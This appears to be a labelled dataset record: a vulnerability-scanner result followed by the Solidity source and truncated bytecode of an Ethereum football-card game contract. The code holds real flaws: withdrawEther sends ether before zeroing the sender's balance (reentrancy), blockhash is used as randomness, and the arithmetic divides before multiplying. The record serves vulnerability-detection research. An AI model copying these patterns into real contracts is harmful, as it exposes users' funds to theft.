{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,009 |
0x65f3f1a2e66323a17d7f177db86bb326071e87f9
|
pragma solidity ^0.4.16;
contract PlayerToken {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens);
function createPlayer(uint32[7] _skills, uint256 _position, address _owner) public returns (uint256);
function getPlayer(uint256 playerId) public view returns(uint32 talent, uint32 tactics, uint32 dribbling, uint32 kick,
uint32 speed, uint32 pass, uint32 selection);
function getPosition(uint256 _playerId) public view returns(uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract CatalogPlayers {
function getBoxPrice(uint256 _league, uint256 _position) public view returns (uint256);
function getLengthClassPlayers(uint256 _league, uint256 _position) public view returns (uint256);
function getClassPlayers(uint256 _league, uint256 _position, uint256 _index) public view returns(uint32[7] skills);
function incrementCountSales(uint256 _league, uint256 _position) public;
function getCountSales(uint256 _league, uint256 _position) public view returns(uint256);
}
contract Team {
uint256 public countPlayersInPosition;
uint256[] public teamsIds;
function createTeam(string _name, string _logo, uint256 _minSkills, uint256 _minTalent, address _owner, uint256 _playerId) public returns(uint256 _teamId);
function getPlayerTeam(uint256 _playerId) public view returns(uint256);
function getOwnerTeam(address _owner) public view returns(uint256);
function getCountPlayersOfOwner(uint256 _teamId, address _owner) public view returns(uint256 count);
function getCountPosition(uint256 _teamId, uint256 _position) public view returns(uint256);
function joinTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function isTeam(uint256 _teamId) public view returns(bool);
function leaveTeam(uint256 _teamId, address _owner, uint256 _playerId, uint256 _position) public;
function getTeamPlayers(uint256 _teamId) public view returns(uint256[]);
function getCountPlayersOfTeam(uint256 _teamId) public view returns(uint256);
function getPlayerIdOfIndex(uint256 _teamId, uint256 index) public view returns (uint256);
function getCountTeams() public view returns(uint256);
function getTeamSumSkills(uint256 _teamId) public view returns(uint256 sumSkills);
function getMinSkills(uint256 _teamId) public view returns(uint256);
function getMinTalent(uint256 _teamId) public view returns(uint256);
}
contract FMWorldAccessControl {
address public ceoAddress;
address public cooAddress;
bool public pause = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyC() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress
);
_;
}
modifier notPause() {
require(!pause);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setPause(bool _pause) external onlyC {
pause = _pause;
}
}
contract FMWorld is FMWorldAccessControl {
address public playerTokenAddress;
address public catalogPlayersAddress;
address public teamAddress;
address private lastPlayerOwner = address(0x0);
uint256 public balanceForReward;
uint256 public deposits;
uint256 public countPartnerPlayers;
mapping (uint256 => uint256) public balancesTeams;
mapping (address => uint256) public balancesInternal;
bool public calculatedReward = true;
uint256 public lastCalculationRewardTime;
modifier isCalculatedReward() {
require(calculatedReward);
_;
}
function setPlayerTokenAddress(address _playerTokenAddress) public onlyCEO {
playerTokenAddress = _playerTokenAddress;
}
function setCatalogPlayersAddress(address _catalogPlayersAddress) public onlyCEO {
catalogPlayersAddress = _catalogPlayersAddress;
}
function setTeamAddress(address _teamAddress) public onlyCEO {
teamAddress = _teamAddress;
}
function FMWorld(address _catalogPlayersAddress, address _playerTokenAddress, address _teamAddress) public {
catalogPlayersAddress = _catalogPlayersAddress;
playerTokenAddress = _playerTokenAddress;
teamAddress = _teamAddress;
ceoAddress = msg.sender;
cooAddress = msg.sender;
lastCalculationRewardTime = now;
}
function openBoxPlayer(uint256 _league, uint256 _position) external notPause isCalculatedReward payable returns (uint256 _price) {
if (now > 1525024800) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
_price = catalogPlayers.getBoxPrice(_league, _position);
balancesInternal[msg.sender] += msg.value;
if (balancesInternal[msg.sender] < _price) {
revert();
}
balancesInternal[msg.sender] = balancesInternal[msg.sender] - _price;
uint256 _classPlayerId = _getRandom(catalogPlayers.getLengthClassPlayers(_league, _position), lastPlayerOwner);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, msg.sender);
lastPlayerOwner = msg.sender;
balanceForReward += msg.value / 2;
deposits += msg.value / 2;
catalogPlayers.incrementCountSales(_league, _position);
if (now - lastCalculationRewardTime > 24 * 60 * 60 && balanceForReward > 10 ether) {
calculatedReward = false;
}
}
function _getRandom(uint256 max, address addAddress) view internal returns(uint256) {
return (uint256(block.blockhash(block.number-1)) + uint256(addAddress)) % max;
}
function _requireTalentSkills(uint256 _playerId, PlayerToken playerToken, uint256 _minTalent, uint256 _minSkills) internal view returns(bool) {
var (_talent, _tactics, _dribbling, _kick, _speed, _pass, _selection) = playerToken.getPlayer(_playerId);
if ((_talent < _minTalent) || (_tactics + _dribbling + _kick + _speed + _pass + _selection < _minSkills)) return false;
return true;
}
function createTeam(string _name, string _logo, uint32 _minTalent, uint32 _minSkills, uint256 _playerId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0);
require(_requireTalentSkills(_playerId, playerToken, _minTalent, _minSkills));
team.createTeam(_name, _logo, _minTalent, _minSkills, msg.sender, _playerId);
}
function joinTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.isTeam(_teamId));
require(team.getPlayerTeam(_playerId) == 0);
require(team.getOwnerTeam(msg.sender) == 0 || team.getOwnerTeam(msg.sender) == _teamId);
uint256 _position = playerToken.getPosition(_playerId);
require(team.getCountPosition(_teamId, _position) < team.countPlayersInPosition());
require(_requireTalentSkills(_playerId, playerToken, team.getMinTalent(_teamId), team.getMinSkills(_teamId)));
_calcTeamBalance(_teamId, team, playerToken);
team.joinTeam(_teamId, msg.sender, _playerId, _position);
}
function leaveTeam(uint256 _playerId, uint256 _teamId) external notPause isCalculatedReward
{
PlayerToken playerToken = PlayerToken(playerTokenAddress);
Team team = Team(teamAddress);
require(playerToken.ownerOf(_playerId) == msg.sender);
require(team.getPlayerTeam(_playerId) == _teamId);
_calcTeamBalance(_teamId, team, playerToken);
uint256 _position = playerToken.getPosition(_playerId);
team.leaveTeam(_teamId, msg.sender, _playerId, _position);
}
function withdraw(address _sendTo, uint _amount) external onlyCEO returns(bool) {
if (_amount > deposits) {
return false;
}
deposits -= _amount;
_sendTo.transfer(_amount);
return true;
}
function _calcTeamBalance(uint256 _teamId, Team team, PlayerToken playerToken) internal returns(bool){
if (balancesTeams[_teamId] == 0) {
return false;
}
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
for(uint256 i = 0; i < _countPlayers; i++) {
uint256 _playerId = team.getPlayerIdOfIndex(_teamId, i);
address _owner = playerToken.ownerOf(_playerId);
balancesInternal[_owner] += balancesTeams[_teamId] / _countPlayers;
}
balancesTeams[_teamId] = 0;
return true;
}
function withdrawEther() external returns(bool) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(msg.sender);
if (balancesTeams[_teamId] > 0) {
PlayerToken playerToken = PlayerToken(playerTokenAddress);
_calcTeamBalance(_teamId, team, playerToken);
}
if (balancesInternal[msg.sender] == 0) {
return false;
}
msg.sender.transfer(balancesInternal[msg.sender]);
balancesInternal[msg.sender] = 0;
}
function createPartnerPlayer(uint256 _league, uint256 _position, uint256 _classPlayerId, address _toAddress) external notPause isCalculatedReward onlyC {
if (countPartnerPlayers >= 300) revert();
PlayerToken playerToken = PlayerToken(playerTokenAddress);
CatalogPlayers catalogPlayers = CatalogPlayers(catalogPlayersAddress);
uint32[7] memory skills = catalogPlayers.getClassPlayers(_league, _position, _classPlayerId);
playerToken.createPlayer(skills, _position, _toAddress);
countPartnerPlayers++;
}
function calculationTeamsRewards(uint256[] orderTeamsIds) public onlyC {
Team team = Team(teamAddress);
if (team.getCountTeams() < 50) {
lastCalculationRewardTime = now;
calculatedReward = true;
return;
}
if (orderTeamsIds.length != team.getCountTeams()) {
revert();
}
for(uint256 teamIndex = 0; teamIndex < orderTeamsIds.length - 1; teamIndex++) {
if (team.getTeamSumSkills(orderTeamsIds[teamIndex]) < team.getTeamSumSkills(orderTeamsIds[teamIndex + 1])) {
revert();
}
}
uint256 k;
for(uint256 i = 1; i < 51; i++) {
if (i == 1) { k = 2000; }
else if (i == 2) { k = 1400; }
else if (i == 3) { k = 1000; }
else if (i == 4) { k = 600; }
else if (i == 5) { k = 500; }
else if (i == 6) { k = 400; }
else if (i == 7) { k = 300; }
else if (i >= 8 && i <= 12) { k = 200; }
else if (i >= 13 && i <= 30) { k = 100; }
else if (i >= 31) { k = 50; }
balancesTeams[orderTeamsIds[i - 1]] = balanceForReward * k / 10000;
}
balanceForReward = 0;
lastCalculationRewardTime = now;
calculatedReward = true;
}
function getSumWithdrawals() public view returns(uint256 sum) {
for(uint256 i = 0; i < 51; i++) {
sum += balancesTeams[i + 1];
}
}
function getBalance() public view returns (uint256 balance) {
uint256 balanceTeam = getBalanceTeam(msg.sender);
return balanceTeam + balancesInternal[msg.sender];
}
function getBalanceTeam(address _owner) public view returns(uint256 balanceTeam) {
Team team = Team(teamAddress);
uint256 _teamId = team.getOwnerTeam(_owner);
if (_teamId == 0) {
return 0;
}
uint256 _countPlayersOwner = team.getCountPlayersOfOwner(_teamId, _owner);
uint256 _countPlayers = team.getCountPlayersOfTeam(_teamId);
balanceTeam = balancesTeams[_teamId] / _countPlayers * _countPlayersOwner;
}
}
|
0x606060405260043610610180576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305b5da231461018557806307f07648146101be5780630a0f8168146102135780630e3a997e1461026857806310c0afaa1461029157806312065fe0146102ba5780631c75f085146102e357806327d7874c1461033857806328c78227146103715780632ba73c15146103a6578063323a5e0b146103df5780634abfacfd146104085780634bd79ac1146104715780636130d5371461049a5780636690864e146104ee57806371697efa146105275780637362377b1461055057806383e0e9b71461057d5780638456cb59146105b45780639746f42b146105e1578063b047fb501461062e578063bdf1758714610683578063bedb86fb146106d0578063bf8dde4d146106f5578063c30096ef14610722578063daac518a1461077c578063e7a0459a146107d1578063e853ce641461080a578063f3fef3a314610836578063f503a99414610890575b600080fd5b341561019057600080fd5b6101bc600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108bc565b005b34156101c957600080fd5b6101d161095b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021e57600080fd5b610226610981565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027357600080fd5b61027b6109a6565b6040518082815260200191505060405180910390f35b341561029c57600080fd5b6102a46109ac565b6040518082815260200191505060405180910390f35b34156102c557600080fd5b6102cd6109b2565b6040518082815260200191505060405180910390f35b34156102ee57600080fd5b6102f6610a08565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561034357600080fd5b61036f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a2e565b005b6103906004808035906020019091908035906020019091905050610b08565b6040518082815260200191505060405180910390f35b34156103b157600080fd5b6103dd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110dc565b005b34156103ea57600080fd5b6103f26111b7565b6040518082815260200191505060405180910390f35b341561041357600080fd5b61046f60048080359060200190820180359060200191909192908035906020019082018035906020019190919290803563ffffffff1690602001909190803563ffffffff169060200190919080359060200190919050506111bd565b005b341561047c57600080fd5b610484611599565b6040518082815260200191505060405180910390f35b34156104a557600080fd5b6104ec600480803590602001909190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061159f565b005b34156104f957600080fd5b610525600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061188f565b005b341561053257600080fd5b61053a61192e565b6040518082815260200191505060405180910390f35b341561055b57600080fd5b61056361196b565b604051808215151515815260200191505060405180910390f35b341561058857600080fd5b61059e6004808035906020019091905050611bb3565b6040518082815260200191505060405180910390f35b34156105bf57600080fd5b6105c7611bcb565b604051808215151515815260200191505060405180910390f35b34156105ec57600080fd5b610618600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bde565b6040518082815260200191505060405180910390f35b341561063957600080fd5b610641611e3f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068e57600080fd5b6106ba600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e65565b6040518082815260200191505060405180910390f35b34156106db57600080fd5b6106f360048080351515906020019091905050611e7d565b005b341561070057600080fd5b610708611f4d565b604051808215151515815260200191505060405180910390f35b341561072d57600080fd5b61077a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611f60565b005b341561078757600080fd5b61078f612440565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107dc57600080fd5b610808600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612466565b005b341561081557600080fd5b6108346004808035906020019091908035906020019091905050612505565b005b341561084157600080fd5b610876600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612c73565b604051808215151515815260200191505060405180910390f35b341561089b57600080fd5b6108ba6004808035906020019091908035906020019091905050612d3e565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091757600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b60065481565b6000806109be33611bde565b9050600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810191505090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ac557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600080610b16613425565b600160149054906101000a900460ff16151515610b3257600080fd5b600b60009054906101000a900460ff161515610b4d57600080fd5b635ae60820421115610b5e57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff1663ca17cad188886040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b1515610c1e57600080fd5b5af11515610c2b57600080fd5b50505060405180519050945034600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555084600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cd057600080fd5b84600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0d8373ffffffffffffffffffffffffffffffffffffffff16637a5c902889896040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b1515610dce57600080fd5b5af11515610ddb57600080fd5b50505060405180519050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613070565b91508273ffffffffffffffffffffffffffffffffffffffff1663a80e6c018888856040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180848152602001838152602001828152602001935050505060e060405180830381600087803b1515610e8d57600080fd5b5af11515610e9a57600080fd5b5050506040518060e00160405290508373ffffffffffffffffffffffffffffffffffffffff1663e5f2806a8288336040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600760200280838360005b83811015610f1e578082015181840152602081019050610f03565b505050509050018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b1515610f7b57600080fd5b5af11515610f8857600080fd5b505050604051805190505033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600234811515610fe057fe5b04600660008282540192505081905550600234811515610ffc57fe5b046007600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff16638a95587688886040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b151561108257600080fd5b5af1151561108f57600080fd5b50505062015180600c5442031180156110b15750678ac7230489e80000600654115b156110d2576000600b60006101000a81548160ff0219169083151502179055505b5050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561117357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600080600160149054906101000a900460ff161515156111dc57600080fd5b600b60009054906101000a900460ff1615156111f757600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16636352211e856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156112c657600080fd5b5af115156112d357600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff161415156112ff57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166343886946856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561136f57600080fd5b5af1151561137c57600080fd5b5050506040518051905014151561139257600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1663a903073e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561142e57600080fd5b5af1151561143b57600080fd5b5050506040518051905014151561145157600080fd5b61146983838763ffffffff168763ffffffff166130a6565b151561147457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1663b0a9b0ff8a8a8a8a8a8a338b6040518963ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001806020018763ffffffff1681526020018663ffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183810383528b8b828181526020019250808284378201915050838103825289898281815260200192508082843782019150509a5050505050505050505050602060405180830381600087803b151561157657600080fd5b5af1151561158357600080fd5b5050506040518051905050505050505050505050565b600c5481565b6000806115aa613425565b600160149054906101000a900460ff161515156115c657600080fd5b600b60009054906101000a900460ff1615156115e157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061168957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561169457600080fd5b61012c6008541015156116a657600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff1663a80e6c018888886040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180848152602001838152602001828152602001935050505060e060405180830381600087803b151561176e57600080fd5b5af1151561177b57600080fd5b5050506040518060e00160405290508273ffffffffffffffffffffffffffffffffffffffff1663e5f2806a8288876040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600760200280838360005b838110156117ff5780820151818401526020810190506117e4565b505050509050018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050602060405180830381600087803b151561185c57600080fd5b5af1151561186957600080fd5b505050604051805190505060086000815480929190600101919050555050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ea57600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600090505b6033811015611967576009600060018301815260200190815260200160002054820191508080600101915050611936565b5090565b600080600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508273ffffffffffffffffffffffffffffffffffffffff1663a903073e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611a3057600080fd5b5af11515611a3d57600080fd5b505050604051805190509150600060096000848152602001908152602001600020541115611a9757600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050611a958284836131ae565b505b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ae85760009350611bad565b3373ffffffffffffffffffffffffffffffffffffffff166108fc600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f193505050501515611b6757600080fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505090565b60096020528060005260406000206000915090505481565b600160149054906101000a900460ff1681565b6000806000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff1663a903073e876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611ca557600080fd5b5af11515611cb257600080fd5b5050506040518051905092506000831415611cd05760009450611e36565b8373ffffffffffffffffffffffffffffffffffffffff16632750609984886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1515611d7257600080fd5b5af11515611d7f57600080fd5b5050506040518051905091508373ffffffffffffffffffffffffffffffffffffffff1663204d3d65846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515611df957600080fd5b5af11515611e0657600080fd5b50505060405180519050905081816009600086815260200190815260200160002054811515611e3157fe5b040294505b50505050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611f2557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611f3057600080fd5b80600160146101000a81548160ff02191690831515021790555050565b600b60009054906101000a900460ff1681565b600080600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061200e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561201957600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935060328473ffffffffffffffffffffffffffffffffffffffff1663798d05fa6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156120a357600080fd5b5af115156120b057600080fd5b5050506040518051905010156120e75742600c819055506001600b60006101000a81548160ff021916908315150217905550612439565b8373ffffffffffffffffffffffffffffffffffffffff1663798d05fa6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561214a57600080fd5b5af1151561215757600080fd5b50505060405180519050855114151561216f57600080fd5b600092505b60018551038310156122d3578373ffffffffffffffffffffffffffffffffffffffff166399dfedb486600186018151811015156121ad57fe5b906020019060200201516040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561220857600080fd5b5af1151561221557600080fd5b505050604051805190508473ffffffffffffffffffffffffffffffffffffffff166399dfedb4878681518110151561224957fe5b906020019060200201516040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156122a457600080fd5b5af115156122b157600080fd5b5050506040518051905010156122c657600080fd5b8280600101935050612174565b600190505b603381101561240e5760018114156122f4576107d091506123be565b60028114156123075761057891506123bd565b600381141561231a576103e891506123bc565b600481141561232d5761025891506123bb565b6005811415612340576101f491506123ba565b60068114156123535761019091506123b9565b60078114156123665761012c91506123b8565b600881101580156123785750600c8111155b156123865760c891506123b7565b600d81101580156123985750601e8111155b156123a657606491506123b6565b601f811015156123b557603291505b5b5b5b5b5b5b5b5b5b61271082600654028115156123cf57fe5b046009600087600185038151811015156123e557fe5b9060200190602002015181526020019081526020016000208190555080806001019150506122d8565b600060068190555042600c819055506001600b60006101000a81548160ff0219169083151502179055505b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124c157600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600160149054906101000a900460ff1615151561252657600080fd5b600b60009054906101000a900460ff16151561254157600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561261057600080fd5b5af1151561261d57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff1614151561264957600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16633e03d50f856040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15156126b757600080fd5b5af115156126c457600080fd5b5050506040518051905015156126d957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff166343886946876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561274957600080fd5b5af1151561275657600080fd5b5050506040518051905014151561276c57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1663a903073e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561280857600080fd5b5af1151561281557600080fd5b5050506040518051905014806128da5750838273ffffffffffffffffffffffffffffffffffffffff1663a903073e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156128c157600080fd5b5af115156128ce57600080fd5b50505060405180519050145b15156128e557600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663eb02c301866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561295357600080fd5b5af1151561296057600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff16632488fd556040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156129cf57600080fd5b5af115156129dc57600080fd5b505050604051805190508273ffffffffffffffffffffffffffffffffffffffff16638659d57386846040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b1515612a5c57600080fd5b5af11515612a6957600080fd5b50505060405180519050101515612a7f57600080fd5b612b9385848473ffffffffffffffffffffffffffffffffffffffff16631bcf659d886040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515612af257600080fd5b